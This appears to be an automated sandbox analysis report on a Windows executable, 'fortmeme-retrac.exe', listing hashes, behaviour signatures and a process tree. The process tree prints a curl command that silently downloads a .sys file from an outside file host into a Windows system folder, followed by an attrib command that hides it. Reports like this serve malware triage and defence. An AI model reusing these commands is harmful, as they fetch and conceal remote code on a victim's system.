Overview

overview

5

Static

static

3

fortmeme-retrac.exe

windows10-2004-x64

5

fortmeme-retrac.exe

windows10-ltsc_2021-x64

5

Analysis

  • max time kernel
    30s
  • max time network
    28s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20260513-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
  • submitted
    31/07/2026, 19:34

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    fortmeme-retrac.exe
  • Size 1.4MB
  • Sample260731-yabeca1vcs
  • SHA256 2661510abc753cfaca42a0e6f94f956f969f8dbad185d4c0f8e0ac95d7fce017
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
5/10
defense_evasionexecution

Malware Config

Signatures

  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
    defense_evasion
  • Drops file in Windows directory 1 IoCs
  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\fortmeme-retrac.exe
    "C:\Users\Admin\AppData\Local\Temp\fortmeme-retrac.exe"
    1⤵
    • Drops file in Windows directory
    • Suspicious behavior: RenamesItself
    • Suspicious use of WriteProcessMemory
    PID:4860
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cls
      2⤵
      • Executes a command shell one-liner
      PID:2984
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cls
      2⤵
      • Executes a command shell one-liner
      PID:3412
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/4jdffy.sys --output C:\Windows\Branding\Basebrd\basebrd.sys >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3704
      • C:\Windows\system32\curl.exe
        curl --silent https://files.catbox.moe/4jdffy.sys --output C:\Windows\Branding\Basebrd\basebrd.sys
        3⤵
          PID:3208
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c attrib +h +s C:\Windows\Branding\Basebrd\basebrd.sys >nul 2>&1
        2⤵
        • Hide Artifacts: Hidden Files and Directories
        • Suspicious use of WriteProcessMemory
        PID:4676
        • C:\Windows\system32\attrib.exe
          attrib +h +s C:\Windows\Branding\Basebrd\basebrd.sys
          3⤵
          • Views/modifies file attributes
          PID:2116
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c cls
        2⤵
        • Executes a command shell one-liner
        PID:4444

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/4860-2-0x00007FF68BBA0000-0x00007FF68BD0C000-memory.dmp
          Download